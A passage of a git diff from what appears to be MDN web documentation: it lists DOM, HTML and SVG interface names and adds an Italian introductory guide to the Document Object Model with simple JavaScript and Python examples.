+ <li>{{domxref("DOMLocator")}}</li>
+ <li>{{domxref("DOMObject")}}</li>
+ <li>{{domxref("DOMUserData")}}</li>
+ <li>{{domxref("ElementTraversal")}}</li>
+ <li>{{domxref("Entity")}}</li>
+ <li>{{domxref("EntityReference")}}</li>
+ <li>{{domxref("NamedNodeMap")}}</li>
+ <li>{{domxref("NameList")}}</li>
+ <li>{{domxref("Notation")}}</li>
+ <li>{{domxref("TypeInfo")}}</li>
+ <li>{{domxref("UserDataHandler")}}</li>
+</ul>
+</div>
+
+<h2 id="HTML_interfaces">HTML interfaces</h2>
+
+<p>A document containing HTML is described using the {{domxref("HTMLDocument")}} interface. Note that the HTML specification also extends the {{domxref("Document")}} interface.</p>
+
+<p>An <code>HTMLDocument</code> object also gives access to various features of browsers like the tab or the window, in which a page is drawn using the {{domxref("Window")}} interface, the {{domxref("window.style", "Style")}} associated to it (usually CSS), the history of the browser relative to the context, {{domxref("window.history", "History")}}. Eventually, {{domxref("Selection")}} is done on the document.</p>
+
+<h3 id="HTML_element_interfaces">HTML element interfaces</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLAnchorElement")}}</li>
+ <li>{{domxref("HTMLAppletElement")}}</li>
+ <li>{{domxref("HTMLAreaElement")}}</li>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{domxref("HTMLBaseElement")}}</li>
+ <li>{{domxref("HTMLBodyElement")}}</li>
+ <li>{{domxref("HTMLBRElement")}}</li>
+ <li>{{domxref("HTMLButtonElement")}}</li>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("HTMLDataElement")}}</li>
+ <li>{{domxref("HTMLDataListElement")}}</li>
+ <li>{{domxref("HTMLDialogElement")}}</li>
+ <li>{{domxref("HTMLDirectoryElement")}}</li>
+ <li>{{domxref("HTMLDivElement")}}</li>
+ <li>{{domxref("HTMLDListElement")}}</li>
+ <li>{{domxref("HTMLElement")}}</li>
+ <li>{{domxref("HTMLEmbedElement")}}</li>
+ <li>{{domxref("HTMLFieldSetElement")}}</li>
+ <li>{{domxref("HTMLFontElement")}}</li>
+ <li>{{domxref("HTMLFormElement")}}</li>
+ <li>{{domxref("HTMLFrameElement")}}</li>
+ <li>{{domxref("HTMLFrameSetElement")}}</li>
+ <li>{{domxref("HTMLHeadElement")}}</li>
+ <li>{{domxref("HTMLHeadingElement")}}</li>
+ <li>{{domxref("HTMLHtmlElement")}}</li>
+ <li>{{domxref("HTMLHRElement")}}</li>
+ <li>{{domxref("HTMLIFrameElement")}}</li>
+ <li>{{domxref("HTMLImageElement")}}</li>
+ <li>{{domxref("HTMLInputElement")}}</li>
+ <li>{{domxref("HTMLKeygenElement")}}</li>
+ <li>{{domxref("HTMLLabelElement")}}</li>
+ <li>{{domxref("HTMLLegendElement")}}</li>
+ <li>{{domxref("HTMLLIElement")}}</li>
+ <li>{{domxref("HTMLLinkElement")}}</li>
+ <li>{{domxref("HTMLMapElement")}}</li>
+ <li>{{domxref("HTMLMediaElement")}}</li>
+ <li>{{domxref("HTMLMenuElement")}}</li>
+ <li>{{domxref("HTMLMetaElement")}}</li>
+ <li>{{domxref("HTMLMeterElement")}}</li>
+ <li>{{domxref("HTMLModElement")}}</li>
+ <li>{{domxref("HTMLObjectElement")}}</li>
+ <li>{{domxref("HTMLOListElement")}}</li>
+ <li>{{domxref("HTMLOptGroupElement")}}</li>
+ <li>{{domxref("HTMLOptionElement")}}</li>
+ <li>{{domxref("HTMLOutputElement")}}</li>
+ <li>{{domxref("HTMLParagraphElement")}}</li>
+ <li>{{domxref("HTMLParamElement")}}</li>
+ <li>{{domxref("HTMLPreElement")}}</li>
+ <li>{{domxref("HTMLProgressElement")}}</li>
+ <li>{{domxref("HTMLQuoteElement")}}</li>
+ <li>{{domxref("HTMLScriptElement")}}</li>
+ <li>{{domxref("HTMLSelectElement")}}</li>
+ <li>{{domxref("HTMLSourceElement")}}</li>
+ <li>{{domxref("HTMLSpanElement")}}</li>
+ <li>{{domxref("HTMLStyleElement")}}</li>
+ <li>{{domxref("HTMLTableElement")}}</li>
+ <li>{{domxref("HTMLTableCaptionElement")}}</li>
+ <li>{{domxref("HTMLTableCellElement")}}</li>
+ <li>{{domxref("HTMLTableDataCellElement")}}</li>
+ <li>{{domxref("HTMLTableHeaderCellElement")}}</li>
+ <li>{{domxref("HTMLTableColElement")}}</li>
+ <li>{{domxref("HTMLTableRowElement")}}</li>
+ <li>{{domxref("HTMLTableSectionElement")}}</li>
+ <li>{{domxref("HTMLTextAreaElement")}}</li>
+ <li>{{domxref("HTMLTimeElement")}}</li>
+ <li>{{domxref("HTMLTitleElement")}}</li>
+ <li>{{domxref("HTMLTrackElement")}}</li>
+ <li>{{domxref("HTMLUListElement")}}</li>
+ <li>{{domxref("HTMLUnknownElement")}}</li>
+ <li>{{domxref("HTMLVideoElement")}}</li>
+</ul>
+</div>
+
+<h3 id="Other_interfaces">Other interfaces</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("CanvasPixelArray")}}</li>
+ <li>{{domxref("NotifyAudioAvailableEvent")}}</li>
+ <li>{{domxref("HTMLAllCollection")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}</li>
+ <li>{{domxref("HTMLOptionsCollection")}}</li>
+ <li>{{domxref("HTMLPropertiesCollection")}}</li>
+ <li>{{domxref("DOMStringMap")}}</li>
+ <li>{{domxref("RadioNodeList")}}</li>
+ <li>{{domxref("MediaError")}}</li>
+</ul>
+</div>
+
+<h3 id="Obsolete_HTML_interfaces_obsolete_inline">Obsolete HTML interfaces {{obsolete_inline}}</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLBaseFontElement")}}</li>
+ <li>{{domxref("HTMLIsIndexElement")}}</li>
+</ul>
+</div>
+
+<h2 id="SVG_interfaces">SVG interfaces</h2>
+
+<h3 id="SVG_element_interfaces">SVG element interfaces</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAElement")}}</li>
+ <li>{{domxref("SVGAltGlyphElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAltGlyphDefElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAltGlyphItemElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAnimationElement")}}</li>
+ <li>{{domxref("SVGAnimateElement")}}</li>
+ <li>{{domxref("SVGAnimateColorElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAnimateMotionElement")}}</li>
+ <li>{{domxref("SVGAnimateTransformElement")}}</li>
+ <li>{{domxref("SVGCircleElement")}}</li>
+ <li>{{domxref("SVGClipPathElement")}}</li>
+ <li>{{domxref("SVGColorProfileElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGComponentTransferFunctionElement")}}</li>
+ <li>{{domxref("SVGCursorElement")}}</li>
+ <li>{{domxref("SVGDefsElement")}}</li>
+ <li>{{domxref("SVGDescElement")}}</li>
+ <li>{{domxref("SVGElement")}}</li>
+ <li>{{domxref("SVGEllipseElement")}}</li>
+ <li>{{domxref("SVGFEBlendElement")}}</li>
+ <li>{{domxref("SVGFEColorMatrixElement")}}</li>
+ <li>{{domxref("SVGFEComponentTransferElement")}}</li>
+ <li>{{domxref("SVGFECompositeElement")}}</li>
+ <li>{{domxref("SVGFEConvolveMatrixElement")}}</li>
+ <li>{{domxref("SVGFEDiffuseLightingElement")}}</li>
+ <li>{{domxref("SVGFEDisplacementMapElement")}}</li>
+ <li>{{domxref("SVGFEDistantLightElement")}}</li>
+ <li>{{domxref("SVGFEDropShadowElement")}}</li>
+ <li>{{domxref("SVGFEFloodElement")}}</li>
+ <li>{{domxref("SVGFEFuncAElement")}}</li>
+ <li>{{domxref("SVGFEFuncBElement")}}</li>
+ <li>{{domxref("SVGFEFuncGElement")}}</li>
+ <li>{{domxref("SVGFEFuncRElement")}}</li>
+ <li>{{domxref("SVGFEGaussianBlurElement")}}</li>
+ <li>{{domxref("SVGFEImageElement")}}</li>
+ <li>{{domxref("SVGFEMergeElement")}}</li>
+ <li>{{domxref("SVGFEMergeNodeElement")}}</li>
+ <li>{{domxref("SVGFEMorphologyElement")}}</li>
+ <li>{{domxref("SVGFEOffsetElement")}}</li>
+ <li>{{domxref("SVGFEPointLightElement")}}</li>
+ <li>{{domxref("SVGFESpecularLightingElement")}}</li>
+ <li>{{domxref("SVGFESpotLightElement")}}</li>
+ <li>{{domxref("SVGFETileElement")}}</li>
+ <li>{{domxref("SVGFETurbulenceElement")}}</li>
+ <li>{{domxref("SVGFilterElement")}}</li>
+ <li>{{domxref("SVGFilterPrimitiveStandardAttributes")}}</li>
+ <li>{{domxref("SVGFontElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceFormatElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceNameElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceSrcElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceUriElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGForeignObjectElement")}}</li>
+ <li>{{domxref("SVGGElement")}}</li>
+ <li>{{domxref("SVGGeometryElement")}}</li>
+ <li>{{domxref("SVGGlyphElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGGlyphRefElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGGradientElement")}}</li>
+ <li>{{domxref("SVGGraphicsElement")}}</li>
+ <li>{{domxref("SVGHatchElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGHatchpathElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGHKernElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGImageElement")}}</li>
+ <li>{{domxref("SVGLinearGradientElement")}}</li>
+ <li>{{domxref("SVGLineElement")}}</li>
+ <li>{{domxref("SVGMarkerElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMaskElement")}}</li>
+ <li>{{domxref("SVGMeshElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMeshGradientElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMeshpatchElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMeshrowElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMetadataElement")}}</li>
+ <li>{{domxref("SVGMissingGlyphElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGMPathElement")}}</li>
+ <li>{{domxref("SVGPathElement")}}</li>
+ <li>{{domxref("SVGPatternElement")}}</li>
+ <li>{{domxref("SVGPolylineElement")}}</li>
+ <li>{{domxref("SVGPolygonElement")}}</li>
+ <li>{{domxref("SVGRadialGradientElement")}}</li>
+ <li>{{domxref("SVGRectElement")}}</li>
+ <li>{{domxref("SVGScriptElement")}}</li>
+ <li>{{domxref("SVGSetElement")}}</li>
+ <li>{{domxref("SVGSolidcolorElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGStopElement")}}</li>
+ <li>{{domxref("SVGStyleElement")}}</li>
+ <li>{{domxref("SVGSVGElement")}}</li>
+ <li>{{domxref("SVGSwitchElement")}}</li>
+ <li>{{domxref("SVGSymbolElement")}}</li>
+ <li>{{domxref("SVGTextContentElement")}}</li>
+ <li>{{domxref("SVGTextElement")}}</li>
+ <li>{{domxref("SVGTextPathElement")}}</li>
+ <li>{{domxref("SVGTextPositioningElement")}}</li>
+ <li>{{domxref("SVGTitleElement")}}</li>
+ <li>{{domxref("SVGTRefElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGTSpanElement")}}</li>
+ <li>{{domxref("SVGUseElement")}}</li>
+ <li>{{domxref("SVGUnknownElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGViewElement")}}</li>
+ <li>{{domxref("SVGVKernElement")}} {{deprecated_inline}}</li>
+</ul>
+</div>
+
+<h3 id="SVG_data_type_interfaces">SVG data type interfaces</h3>
+
+<p>Here are the DOM API for data types used in the definitions of SVG properties and attributes.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Starting in {{Gecko("5.0")}}, the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed ; in addition, they have a length property indicating the number of items in the lists: {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}}, and {{domxref("SVGPointList")}}.</p>
+</div>
+
+<h4 id="Static_type">Static type</h4>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAngle")}}</li>
+ <li>{{domxref("SVGColor")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGICCColor")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGElementInstance")}}</li>
+ <li>{{domxref("SVGElementInstanceList")}}</li>
+ <li>{{domxref("SVGLength")}}</li>
+ <li>{{domxref("SVGLengthList")}}</li>
+ <li>{{domxref("SVGMatrix")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGNameList")}}</li>
+ <li>{{domxref("SVGNumber")}}</li>
+ <li>{{domxref("SVGNumberList")}}</li>
+ <li>{{domxref("SVGPaint")}}</li>
+ <li>{{domxref("SVGPathSeg")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegClosePath")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegMovetoAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegMovetoRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoCubicAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoCubicRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoQuadraticAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoQuadraticRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegArcAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegArcRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoHorizontalAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoHorizontalRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoVerticalAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoVerticalRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoCubicSmoothAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoCubicSmoothRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoQuadraticSmoothAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoQuadraticSmoothRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegList")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPoint")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPointList")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPreserveAspectRatio")}}</li>
+ <li>{{domxref("SVGRect")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGStringList")}}</li>
+ <li>{{domxref("SVGTransform")}}</li>
+ <li>{{domxref("SVGTransformList")}}</li>
+</ul>
+</div>
+
+<h4 id="Animated_type">Animated type</h4>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAnimatedAngle")}}</li>
+ <li>{{domxref("SVGAnimatedBoolean")}}</li>
+ <li>{{domxref("SVGAnimatedEnumeration")}}</li>
+ <li>{{domxref("SVGAnimatedInteger")}}</li>
+ <li>{{domxref("SVGAnimatedLength")}}</li>
+ <li>{{domxref("SVGAnimatedLengthList")}}</li>
+ <li>{{domxref("SVGAnimatedNumber")}}</li>
+ <li>{{domxref("SVGAnimatedNumberList")}}</li>
+ <li>{{domxref("SVGAnimatedPathData")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAnimatedPoints")}}</li>
+ <li>{{domxref("SVGAnimatedPreserveAspectRatio")}}</li>
+ <li>{{domxref("SVGAnimatedRect")}}</li>
+ <li>{{domxref("SVGAnimatedString")}}</li>
+ <li>{{domxref("SVGAnimatedTransformList")}}</li>
+</ul>
+</div>
+
+<h3 id="SMIL_related_interfaces">SMIL related interfaces</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("ElementTimeControl")}}</li>
+ <li>{{domxref("TimeEvent")}}</li>
+</ul>
+</div>
+
+<h3 id="Other_SVG_interfaces">Other SVG interfaces</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("GetSVGDocument")}}</li>
+ <li>{{domxref("ShadowAnimation")}}</li>
+ <li>{{domxref("SVGColorProfileRule")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGCSSRule")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGDocument")}}</li>
+ <li>{{domxref("SVGException")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGExternalResourcesRequired")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFitToViewBox")}}</li>
+ <li>{{domxref("SVGLangSpace")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGLocatable")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGRenderingIntent")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGStylable")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGTests")}}</li>
+ <li>{{domxref("SVGTransformable")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGUnitTypes")}}</li>
+ <li>{{domxref("SVGUseElementShadowRoot")}}</li>
+ <li>{{domxref("SVGURIReference")}}</li>
+ <li>{{domxref("SVGViewSpec")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGZoomAndPan")}}</li>
+ <li>{{domxref("SVGZoomEvent")}} {{deprecated_inline}}</li>
+</ul>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">DOM Examples</a></li>
+</ul>
diff --git a/files/it/web/api/document_object_model/introduzione/index.html b/files/it/web/api/document_object_model/introduzione/index.html
new file mode 100644
index 0000000000..328caa0c5c
--- /dev/null
+++ b/files/it/web/api/document_object_model/introduzione/index.html
@@ -0,0 +1,257 @@
+---
+title: Introduzione al DOM
+slug: Web/API/Document_Object_Model/Introduzione
+tags:
+  - Beginner
+  - DOM
+  - Guida
+  - HTML DOM
+  - Introduzione
+  - Principianti
+  - Tutorial
+translation_of: Web/API/Document_Object_Model/Introduction
+---
+<p><span class="seoSummary">Il <strong>Document Object Model</strong> (<strong>DOM</strong>) è la rappresentazione degli oggetti che comprendono la struttura e il contenuto di un documento sul web. In questa guida, introdurremo brevemente il DOM. Vedremo come il DOM rappresenta </span>un documento {{Glossary("HTML")}} o {{Glossary("XML")}} in memoria e come puoi usare le APIs per creare contenuti web e applicazioni.</p>
+
+<h2 id="Che_cosè_il_DOM">Che cos'è il DOM?</h2>
+
+<p>Il Document Object Model (DOM) è una interfaccia di programmazione per documenti HTML e XML. Rappresenta la pagina in modo che i programmi possano modificare la struttura, lo stile e il contenuto del documento. Il DOM rappresenta il documento come nodi e oggetti. In questo modo, i linguaggi di programmazione possono connettersi alla pagina.</p>
+
+<p>La pagina web è un documento. Questo documento può essere visualizzato nella finestra del browser o come sorgente HTML. Ma è lo stesso documento in entrambi i casi. Il Document Obkect Model (DOM) rappresenta come entrambi i documenti possono essere manipolati. Il DOM è una rappresentazione ad oggetti della pagina web, che può essere modificata con linguaggi di scripting come JavaScript.</p>
+
+<p>Gli standard <a class="external" href="http://www.w3.org/DOM/">W3C DOM</a> e <a class="external" href="https://dom.spec.whatwg.org">WHATWG DOM</a> sono implementati nei più moderni browsers. Molti browsers estendono lo standard, pertanto è necessario prestare attenzione quando li si utilizza sul Web in cui è possibile accedere ai documenti da vari browser con DOM diversi.</p>
+
+<p>Per esempio, lo standard DOM specifica che il metodo <code>getElementsByTagName</code> usato qui sotto, dovrebbe ritornare una lista di tutti gli elementi <code>&lt;p&gt;</code> nel documento.</p>
+
+<pre class="brush: js">const paragrafi = document.getElementsByTagName("p");
+// paragrafi[0] è il primo &lt;p&gt; elemento
+// paragrafi[1] è il secondo &lt;p&gt; elemento, etc.
+alert(paragrafi[0].nodeName);
+</pre>
+
+<p>Tutte le proprietà, metodi ed eventi disponibili per la manipolazione e la creazione di pagine web sono organizzate in oggetti (per esempio, l'oggetto <code>document</code> che rappresenta il documento stesso, l'oggetto <code>table</code> che implementa la speciale interfaccia DOM {{domxref("HTMLTableElement")}} per accedere alle tabelle HTML, e così via). Questa documentazione fornisce una documentazione oggetto per oggetto al DOM.</p>
+
+<p>Il DOM moderno è costruito utilizzando APIs multiple che lavorano insieme. Il <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a> principale definisce gli oggetti che descrivono, fondamentalmente, un documento e gli oggetti al suo interno. Questo viene ampliato come richiesto da altre API che aggiungono nuove funzionalità e capacità al DOM. Ad esempio, l'<a href="/en-US/docs/Web/API/HTML_DOM">HTML DOM API</a> aggiunge il supporto per la rappresentazione di documenti HTML nel DOM principale.</p>
+
+<h2 id="DOM_and_JavaScript" name="DOM_and_JavaScript">DOM e JavaScript</h2>
+
+<p>Il breve esempio qui sotto, come quasi tutti gli esempi in questo riferimento, è {{glossary("JavaScript")}}. Che significa che è scrittp in JavaScript ma usa il DOM per accedere al documenti ed ai suoi elementi. Il DOM non è un linguaggio di programmazione, ma senza di esso, il linguaggio JavaScript non potrebbe avere nessun modello o conoscenza sulla pagina web HTML o XML e le loro componenti (ad es. elementi). Ogni elemento nel documento - il documento nel suo insieme, la testata, le tabelle all'interno del documento, le intestazioni delle tabelle, il testo all'interno della cella della tabella - è parte del document object model per quel documento, che può essere accessibile e manipolato usanto il DOM e linguaggi di scripting come Java.</p>
+
+<p>Agli inizi, JavaScript e il DOM </p>
+
+<p>All'inizio, JavaScript e DOM erano strettamente intrecciati, ma alla fine si sono evoluti in entità separate. Il contenuto della pagina è memorizzato nel DOM e può essere consultato e manipolato tramite JavaScript, in modo da poter scrivere questa equazione approssimativa:</p>
+
+<p>API = DOM + JavaScript</p>
+
+<p>Il DOM è stato progettato per essere indipendente da qualsiasi particolare linguaggio di programmazione, rendendo la rappresentazione strutturale del documento disponibile da un'unica API coerente. Sebbene ci concentriamo esclusivamente su JavaScript in questa documentazione di riferimento, le implementazioni del DOM possono essere costruite per qualsiasi linguaggio, come dimostra questo esempio di Python:</p>
+
+<pre class="brush: python"># Esempio DOM in Python
+import xml.dom.minidom as m
+doc = m.parse(r"C:\Projects\Py\chap1.xml")
+doc.nodeName # DOM property of document object
+p_list = doc.getElementsByTagName("para")
+</pre>
+
+<p>Per ulteriori informazioni su quali tecnologie sono coinvolte nella scrittura di JavaScript sul Web, vedere <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a>.</p>
+
+<h2 id="How_Do_I_Access_the_DOM.3F" name="How_Do_I_Access_the_DOM.3F">Accedere al DOM</h2>
+
+<p>Tu non devi fare niente di speciale per avere accesso al DOM. Browser differenti hanno differenti implementazione del DOM, e le loro implementazioni variano in base alla conformazione dello standard DOM (il soggetto che tenta di </p>
+
+<p>Non devi fare nulla di speciale per iniziare a utilizzare il DOM. Browser diversi hanno implementazioni diverse del DOM e queste implementazioni presentano vari gradi di conformità allo standard DOM effettivo (un argomento che cerchiamo di evitare in questa documentazione), ma ogni browser Web utilizza alcuni modelli di oggetti per rendere accessibili le pagine Web tramite JavaScript .</p>
+
+<p>Quando crei uno script, indipendentemente dal fatto che sia in linea in un elemento <code>&lt;script&gt;</code> o incluso nella pagina Web mediante un'istruzione di caricamento degli script, puoi immediatamente iniziare a utilizzare l'API {{domxref ("document")}} o {{domxref("Window", "window")}} per manipolare il documento stesso o per ottenere i figli di quel documento, che sono i vari elementi nella pagina web. La tua programmazione DOM potrebbe essere qualcosa di semplice come la seguente, che visualizza un messaggio di avviso utilizzando la funzione {{domxref("window.alert", "alert()")}} dalla funzione {{domxref("Window", "window")}} oppure può utilizzare metodi DOM più sofisticati per creare effettivamente nuovi contenuti, come nell'esempio più lungo di seguito.</p>
+
+<pre class="brush: html">&lt;body onload="window.alert('Benvenuto nella mia pagina web!');"&gt;
+</pre>
+
+<p>Un altro esempio. Questa funzione crea un nuovo elemento H1, gli aggiunge del testo (all'elemento) e, infine, aggiunge l'H1 all'albero di questo documento.</p>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;script&gt;
+       // esegui questa funzione quando la pagina è stata caricata
+       window.onload = function() {
+
+         // crea un paio di elementi in una pagina HTML altrimenti vuota
+         const heading = document.createElement("h1");
+         const heading_text = document.createTextNode("Big Head!");
+         heading.appendChild(heading_text);
+         document.body.appendChild(heading);
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Important_Data_Types" name="Important_Data_Types">Tipi di dati fondamentali</h2>
+
+<p>Questo riferimento cerca di descrivere i vari oggetti e tipi in termini semplici. Tuttavia, ci sono diversi tipi di dati che vengono trasmessi all'API di cui dovresti essere a conoscenza.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> poiché la stragrande maggioranza del codice che utilizza il DOM ruota attorno alla manipolazione di documenti HTML, è comune fare riferimento ai nodi nel DOM come <strong>elementi</strong> anche se, a rigor di termini, non tutti i nodi sono un elemento.</p>
+</div>
+
+<p>La tabella seguente descrive brevemente questi tipi di dati.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Tipi di dati (Interfaccia)</th>
+   <th>Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("Document")}}</td>
+   <td>
+    <p>Quando un membro restituisce un oggetto di tipo documento (ad esempio, la proprietà <code>ownerDocument</code> di un elemento restituisce il <code>document</code> a cui appartiene), questo oggetto è l'oggetto del documento radice stesso. Il capitolo <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Document">DOM <code>document</code> Reference</a> descrive l'oggetto del documento.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("Node")}}</td>
+   <td>Ogni oggetto situato all'interno di un documento è un nodo di qualche tipo. In un documento HTML, un oggetto può essere un nodo elemento ma anche un nodo testo o nodo attributo.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element")}}</td>
+   <td>Il tipo <code>element</code> è basado sul <code>node</code>. Si riferisce a un elemento o un nodo di tipo <code>element</code> restituito da un membro dell'API DOM. Anziché dire, ad esempio, che il metodo{{domxref("document.createElement()")}} restituisce un riferimento a un oggetto a un <code>node</code>, diciamo solo che questo metodo restituisce l'<code>element</code> che è stato appena creato nel DOM. Gli oggetti <code>element</code> implementano l'interfaccia DOM <code>Element</code> e anche l'interfaccia <code>Node</code> più basilare, entrambe incluse in questo riferimento. In un documento HTML, gli elementi sono ulteriormente migliorati dall'interfaccia {{domxref("HTMLElement")}} dell'API DOM HTML e da altre interfacce che descrivono le capacità di tipi specifici di elementi (ad esempio {{domxref("HTMLTableElement")}} per {{HTMLElement("table")}} elements).</td>
+  </tr>
+  <tr>
+   <td>{{domxref("NodeList")}}</td>
+   <td>Una <code>nodeList</code> è un array di elementi, simili al tipo ritornanto dal metodo.{{domxref("document.getElementsByTagName()")}}. Gli elementi nel <code>nodeList</code> sono accessibili, da indice, tramite due opzioni:
+    <ul>
+     <li>list.item(1)</li>
+     <li>list[1]</li>
+    </ul>
+    Questi due sono equivalenti. Nel primo, <code>item()</code> è un singolo metodo dell'oggetto <code>nodeList</code>. Quest'ultimo utilizza la tipica sintassi dell'array per recuperare il secondo elemento nell'elenco.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Attribute")}}</td>
+   <td>Quando un <code>attribute</code> viene restituito da un membro (ad es. con il metodo <code>createAttribute()</code>), si ha un riferimento a un oggetto che espone un'interfaccia speciale (sebbene piccola) per gli attributi. Gli attributi sono nodi nel DOM proprio come gli elementi, anche se raramente li puoi usare come tali.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("NamedNodeMap")}}</td>
+   <td>Un <code>namedNodeMap</code> è simile a un array ma è possibile accedere agli elementi in base al nome o all'indice, sebbene quest'ultimo caso sia solo una comodità per l'enumerazione, poiché non sono in un ordine particolare nell'elenco. Un <code>namedNodeMap</code> ha un metodo <code>item()</code> per questo scopo e puoi anche aggiungere e rimuovere elementi da una <code>namedNodeMap</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ci sono anche alcune considerazioni terminologiche comuni da tenere a mente. È comune fare riferimento a qualsiasi nodo {{domxref ("Attribute")}} semplicemente come un <code>attribute</code>, ad esempio, e fare riferimento a un array di nodi DOM come <code>nodeList</code>. Troverai questi termini e altri da introdurre e utilizzare in tutta la documentazione.</p>
+
+<h2 id="DOM_interfaces" name="DOM_interfaces">interfaccia DOM</h2>
+
